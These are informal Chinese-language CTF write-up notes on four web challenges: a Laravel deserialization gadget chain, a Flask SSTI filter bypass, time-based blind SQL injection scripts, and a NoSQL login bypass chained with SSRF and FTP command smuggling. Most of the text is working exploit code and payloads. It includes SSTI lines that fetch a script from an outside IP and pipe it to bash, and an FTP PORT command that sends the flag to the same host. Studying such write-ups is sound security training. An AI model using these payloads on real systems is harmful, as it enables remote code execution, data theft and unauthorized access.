ez_larave1 知识点 https://xz.aliyun.com/t/8359
exp <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; public function __construct ($events="" ,$event="" ) { $this ->events = $events; $this ->event = $event; } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver = "system "; } } namespace Illuminate \Broadcasting { class BroadcastEvent { public $connection = "whoami "; } } namespace { $d = new Illuminate \Bus \Dispatcher (); $b = new Illuminate\Broadcasting\BroadcastEvent(); $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b); echo urlencode(serialize($p)); } ?>
这个题学会了调试程序把! 慢慢来!
操了!5.7版本 5.8的exp可以打!
wwwafed_app
知识点 看着是ssti! 但是又过滤呀!这!!!
from flask import Flask, request,render_template,url_forfrom jinja2 import Templateimport requests,base64,shlex,osapp = Flask(__name__) @app.route("/") def index (): return render_template('index.html' ) @app.route("/waf") def wafsource (): return open("waf.py" ).read() @app.route("/source") def appsource (): return open(__file__).read() @app.route("/api/spider/<url>") def spider (url ): url = base64.b64decode(url).decode('utf-8' ) safeurl = shlex.quote(url) block = os.popen("python3 waf.py " + safeurl).read() if block == "PASS" : try : req = requests.get("http://" +url,timeout=5 ) return Template("访问成功!网页返回了{}字节数据" .format(len(req.text))).render() except : return Template("访问{}失败!" .format(safeurl)).render() else : return Template("WAF已拦截,请不要乱输入参数!" ).render() if __name__ == "__main__" : app.run(host="0.0.0.0" ,port=5000 ,debug=True )
把ssti代码base64一下!过不了waf!不知道大佬是咋过的!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["sys"].modules["os"].system("curl http://47.94.0.250/1.txt|bash")}}
<class '_frozen_importlib_external.FileLoader'>' 大佬用的这个!
学到了!
我反弹shell玩一下!
my_open = open('g:/2.txt' , 'w' ) for i in []: my_open.write(i+"\n" ) my_open.close()
找到了<class 'os._wrap_close'>
'sys': <module 'sys' (built-in)>,
里面有sys 'popen'
{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']("ls").read()}} {{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["sys"].modules["os"].system("bash 0.0.0.0/1.txt|bash")}}
自己测了测发现 popen 没回显 页不能curl!
web_check_in
知识点: hint1: 尝试sql注入出不一样的回显 hint2: 时间盲注 hint3: 这个随机数怎么和我平时用的不太一样? hint4: 你知道php在apache是怎么装载的嘛?
sql注入!
md,注入点在哪啊!
笛卡尔积盲注! 🙄🙄🙄
import requestsimport stringimport timeurl = 'http://node.mrctf.fun:10023/' flag = '' dic = " <?" +string.ascii_letters + string.digits + '_!@#$%^&*{}.-?> ' for i in range(1 ,250 ): for j in dic: payload = "admin' and if(ascii(substr((select(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))),{},1)) like ascii('{}'),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0) -- + " .format(i, j) parm = { "username" : payload, "password" : "123" } time_1 = time.time() try : res = requests.get(url=url,params=parm, timeout=2 ) except : pass print(payload) time_2 = time.time() time_offset = time_2 - time_1 print(time_offset) if time_offset > 2 : flag += j print(flag) break if flag == flag+j: print(flag) break
import timeimport requestsurl_1 = 'http://node.mrctf.fun:10023/?username=' url_2 = '&password=123' url = '' print('Processing...' ) i = 1 content = '' while True : low = 32 high = 127 mid = low while high > mid: payload = "admin' and if(ascii(substr((select(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))),{},1))like {},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0) -- + " .format( i, mid) url = url_1 + payload + url_2 time_1 = time.time() print(url) try : res = requests.get(url=url, verify=False ,timeout=2 ) except : pass time_2 = time.time() time_offset = time_2 - time_1 if time_offset > 2 : content += chr(mid) print(content) break else : mid += 1 i += 1
Half-Nosqli 知识点 node是什么?好吃吗?
swagger是什么?好吃吗
mongo是什么?好吃吗?
ftp是什么?好吃吗?
flag在ftp服务files文件夹下
发现大赛必出node题目!!!
nodejs的网站快!
日了
首先是swagger的常用路径./docs
这里使用nosqli的永真trick绕过
import requests as rurl = "http://node.mrctf.fun:23000/" json = { "email" :{ "$ne" :1 }, "password" :{ "$ne" :1 } } req = r.post(url+"login" ,json=json) print(req.text) token = req.json()['token' ]
"Authorization":"Bearer "+token, jwt
import requests as rurl = "http://node.mrctf.fun:23000/" token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYUBhLmNvbSIsImV4cCI6MTYxODkxMTIxMCwiaWF0IjoxNjE4OTA3NjEwfQ.lBwpuBasUcQiBJVJn2fJ2xqancNPbb0Wt-kQFNfyPaA' headers = { "Accept" :"*/*" , "Authorization" :"Bearer " +token, } url_payload = "http://47.94.0.250:1/" payload =''' USER anonymous PASS admin888 CWD files TYPE I PORT 47.94.0.250,0,1890 RETR flag ''' .replace("\n" ,"\r\n" )def payload_encode (raw ): ret = u"" for i in raw: ret += chr(0xff00 +ord(i)) return ret url_payload = url_payload + payload_encode(payload) print(url_payload) json = { "url" :url_payload } req = r.post(url+"home" ,headers=headers,json=json) print(req.text)